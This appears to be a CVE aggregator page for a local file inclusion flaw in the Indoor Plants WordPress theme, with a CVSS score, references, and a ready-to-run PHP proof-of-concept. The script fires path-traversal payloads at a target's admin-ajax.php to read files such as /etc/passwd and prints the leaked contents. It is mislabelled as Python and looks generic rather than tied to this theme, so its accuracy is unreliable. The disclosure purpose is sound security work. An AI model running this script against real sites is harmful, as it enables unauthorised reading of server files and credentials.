CVE-2025-69066

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Indoor Plants indoor-plants allows PHP Local File Inclusion.This issue affects Indoor Plants: from n/a through <= 1.2.7.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Indoor Plants Theme <= 1.2.7

Indoor Plants Theme (all versions from initial release)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-69066 PoC - Indoor Plants Theme LFI
 * Usage: php poc.php <target_url> [param_name] [file_to_read]
 * Example: php poc.php http://target.com/wp-admin/admin-ajax.php action /etc/passwd
 */

$target = $argv[1] ?? '';
$param = $argv[2] ?? 'action';
$file = $argv[3] ?? '/etc/passwd';

if (empty($target)) {
    echo "Usage: php poc.php <target_url> [param_name] [file_to_read]\n";
    exit(1);
}

// Encode path traversal to bypass basic filters
$payload = '../../../' . ltrim($file, '/');
$encoded_payload = urlencode($payload);

// Try both direct and encoded traversal
$urls = [
    "{$target}?{$param}={$payload}",
    "{$target}?{$param}={$encoded_payload}",
    "{$target}&{$param}={$payload}"
];

foreach ($urls as $url) {
    echo "[*] Testing: {$url}\n";
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => false,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // Check if file content was returned
    if (strpos($response, 'root:') !== false || strpos($response, '<?php') !== false) {
        echo "[+] VULNERABLE! File content leaked:\n";
        echo substr($response, 0, 1000) . "\n";
        exit(0);
    }
}

echo "[-] Target may not be vulnerable or file not accessible\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69066
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69066
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69066/
[4] VulDB https://vuldb.com/cve/CVE-2025-69066
[5] https://patchstack.com/database/Wordpress/Theme/indoor-plants/vulnerability/wordpress-indoor-plants-theme-1-2-7-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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